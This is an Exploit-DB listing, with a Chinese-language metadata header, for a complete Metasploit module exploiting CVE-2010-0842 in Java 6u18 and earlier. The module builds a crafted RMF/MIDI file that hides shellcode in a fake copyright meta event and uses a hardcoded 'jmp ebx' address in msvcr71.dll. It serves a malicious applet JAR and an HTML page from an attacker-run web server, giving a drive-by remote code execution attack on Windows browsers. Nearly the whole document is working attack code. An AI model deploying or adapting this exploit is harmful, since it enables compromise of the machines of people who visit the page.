标题: Java MixerSequencer Object - GM_Song Structure Handling (Metasploit) EDB-ID: 18485 CVE: 2010-0842 类型: REMOTE 平台: WINDOWS 发布日期: 2012-02-16 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Java MixerSequencer Object GM_Song Structure Handling Vulnerability",
   'Description'    => %q{
     This module exploits a flaw within the handling of MixerSequencer objects
    in Java 6u18 and before.

     Exploitation id done by supplying a specially crafted MIDI file within an RMF
    File. When the MixerSequencer objects is used to play the file, the GM_Song
    structure is populated with a function pointer provided by a SONG block in the
    RMF. A Midi block that contains a MIDI with a specially crafted controller event
    is used to trigger the vulnerability.

    When triggering the vulnerability "ebx" points to a fake event in the MIDI file
    which stores the shellcode. A "jmp ebx" from msvcr71.dll is used to make the
    exploit reliable over java updates.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Peter Vreugdenhil',  # Vulnerability Discovery and exploit
     'juan vazquez', # Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2010-0842' ],
     [ 'OSVDB', '63493'],
     [ 'BID', '39077'],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-060/' ],
     [ 'URL', 'http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']
    ],
   'Payload'        =>
    {
     'Space'    => 8000,
    },
   'DefaultOptions'  =>
    {
     'EXITFUNC'             => "process",
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      # Tested succesfully on:
      # Windows XP SP3 / IE 6 / Java 6u18
      # Windows XP SP3 / IE 7 / Java 6u18
      # Windows XP SP3 / IE 8 / Java 6u18
      # Windows XP SP3 / Firefox 7.0.1 / Java 6u18
      # Windows XP SP3 / IE 8 / Java 6u17
      # Windows XP SP3 / Firefox 7.0.1 / Java 6u17
      # Windows 7 / IE 8 / Java 6u18
      'Windows / Java 6 <=u18',
      {
       'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Mar 30 2010",
   'DefaultTarget'  => 0))

 end

 def get_rmf

  rmf_header = ""
  rmf_header << "IREZ" # RMFHeaderMagic
  rmf_header << "\x00\x00\x00\x01" # RMFVersionNumber
  rmf_header << "\x00\x00\x00\x02" # NumberOfRMFBlocks

  song_block = ""
  song_block << "\x00\x00\x00\x65" # OffsetToNextBlock
  song_block << "SONG" # BlockType
  song_block << [target.ret].pack("N") # BlockID
  song_block << "\x00" # BlockName
  song_block << "\x00\x00\x00\x47" # BlockDataSize
  song_block << "\x7F\xFF\x00\x01\x00\x00\x01\x01" # BlockData
  song_block << "\x00\x00\x00\x04\x00\x1C\x00\x08" # BlockData
  song_block << "\x00\x7F\x00\x00\x00\x00\x00\x00" # BlockData
  song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
  song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
  song_block << "\x00\x00\x00\x00\x00\x00\x00\x00" # BlockData
  song_block << "\x00\x01\x54\x49\x54\x4C\x9F\xB1" # BlockData
  song_block << "\xB5\x0D\x0A\x7E\xFB\x70\x9C\x86" # BlockData
  song_block << "\xFE\xB0\x35\x93\xE2\x5E\xDE\xF7" # BlockData

  midi = ""
  # HEADERCHUNK Header
  midi << "MThd"                 # Header
  midi << "\x00\x00\x00\x06"     # Chunk size
  midi << "\x00\x01"             # Format Type
  midi << "\x00\x01"             # Number of tracks
  midi << "\x00\x08"             # Time division
  # TRACKCHUNK header
  midi << "MTrk"                 # Header
  midi << "\x00\x00\x24\xd7" # Length
  midi << "\x00\xb0\x80\x00" # Controller Event # Triggers the vulnerability
  # Fake Midi Meta event - Shellcode
  midi << "\x38" # Variable lenght delta time
  midi << "\xff" # Midi meta event
  midi << "\x02" # Meta event type 02 => Copyright notice
  midi << "\xc9\x50" # Variable Meta Event Length
  midi << payload.encoded
  midi << rand_text(9123 - payload.encoded.length)

  midi_block = "\x00\x00\x25\x60" # OffsetToNextBlock
  midi_block << "Midi" # BlockType
  midi_block << "\x00\x00\x7f\xff" # BlockID
  midi_block << "\x00" # BlockName
  midi_block << "\x00\x00\x24\xed" # BlockDataSize
  midi_block << midi # BlockData

  rmf = ""
  rmf << rmf_header
  rmf << song_block
  rmf << midi_block

  rmf_name = "#{rand_text_alpha(rand(5) + 3)}.rmf"

  return rmf_name, rmf
 end

 def get_jar

  files = [
   [ "MyController.class" ],
   [ "MixerMidiApplet.class" ],
   [ "META-INF", "services", "javax.sound.midi.spi.MidiDeviceProvider" ]
  ]
  jar = Rex::Zip::Jar.new
  jar.add_file("META-INF/", "")
  jar.add_file("META-INF/services/", "")
  jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0842"))
  jar.build_manifest

  jar_name = "#{rand_text_alpha(rand(5) + 3)}.jar"

  return jar_name, jar
 end

 def on_request_uri(cli, request)

  if request.uri =~ /\.jar$/i
   print_status("Sending JAR file to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, @jar.pack, {'Content-Type'=>'application/octet-strem'})
   return
  end

  if request.uri =~ /\.rmf$/i
   print_status("Sending RMF file to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, @rmf, {'Content-Type'=>'application/octet-strem'})
   return
  end

  base_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
  rmf_uri = base_uri + "/#{@rmf_name}"
  jar_uri = base_uri + "/#{@jar_name}"

  html = %Q|
  <html>
  <head>
  </head>
  <body>
  <applet code="MixerMidiApplet.class" archive="#{jar_uri}" width=350 height=200>
   <param name="midifile" valuetype="ref" value="#{rmf_uri}">
  </applet>
  </body>
  </html>
  |

  html = html.gsub(/^\t\t/, '')

  print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end

 def exploit
  @jar_name, @jar = get_jar
  @rmf_name, @rmf = get_rmf
  super
 end

end URL: https://www.exploit-db.com/exploits/18485